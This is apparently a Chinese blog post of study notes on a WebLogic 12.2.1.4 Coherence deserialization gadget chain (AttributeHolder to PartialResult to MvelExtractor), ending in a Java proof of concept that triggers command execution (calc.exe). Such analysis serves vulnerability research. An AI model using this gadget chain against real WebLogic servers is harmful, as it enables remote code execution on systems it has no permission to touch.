记录一下学习过程
在weblogic12.2.1.4的coherence包中ExternalizableLite
存在反序列化接口

readExternalizableLite是借助ExternalizableLite
实现的方法

readExternalizableLite调用点又在ExternalizableHelper类的readObjectInternal方法中
readObjectInternal方法实现根据序列化不同的对象调用不同的反序列化方法来还原对象


readObjectInternal又在Externalizablehelper的readObject方法中被调用


readExternalizableLite方法处理逻辑是,先通过readUTF读取类名,然后通过loadclass加载类并创建实例赋值给value,强转为ExternalizableLite类型
接着调用value中的readExternal
根据网上的调用栈AttributeHolder的readExternal被作为入口
他的readExternal里面调用了ExternalizableHelper.readObject


给m_ovalue值赋予PartialResult类
PartialResult是TopNAggregator的内部类


他的实现了ExternalizableLite接口,因此可作为第二部(应为不实现ExternalizableLite 那个类型强制转换是过不去的)

m_comparator是父类的属性需要通过getSuperClass反射修改
这里找到MvelExtractor类,该类的extract方法会用于执行mvel表达式,最终导致命令执行
而他的父类实现了Comparator接口




触发点在add方法





comparator是mvelextractor

最终整条调用链是:
AttributeHolder.readExternal->ExternalizableHelper.readObject->TopNAggregator.PartialResult.readExternal->add->super.add->map.put->mvelExtractor.compare->mvelExtractor.extract//触发表达式 导致命令执行

poc如下
import com.tangosol.coherence.rest.util.extractor.MvelExtractor;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.ExternalizableHelper;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import com.tangosol.util.extractor.AbstractExtractor;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class test {
public static void main(String[] args) throws Exception{
MvelExtractor mvel=new MvelExtractor("java.lang.Runtime.getRuntime().exec("calc.exe");");
SortedBag partialResult=new TopNAggregator.PartialResult(mvel,1);
partialResult.add(1);
AttributeHolder attr=new AttributeHolder();
Field m_oValue=attr.getClass().getDeclaredField("m_oValue");
m_oValue.setAccessible(true);
m_oValue.set(attr,partialResult);
ByteArrayOutputStream byte_out=new ByteArrayOutputStream();
ObjectOutputStream obj_out=new ObjectOutputStream(byte_out);
obj_out.writeObject(attr);
ByteArrayInputStream byte_input=new ByteArrayInputStream(byte_out.toByteArray());
ObjectInputStream obj_input=new ObjectInputStream(byte_input);
obj_input.readObject();
}
}
阅读原文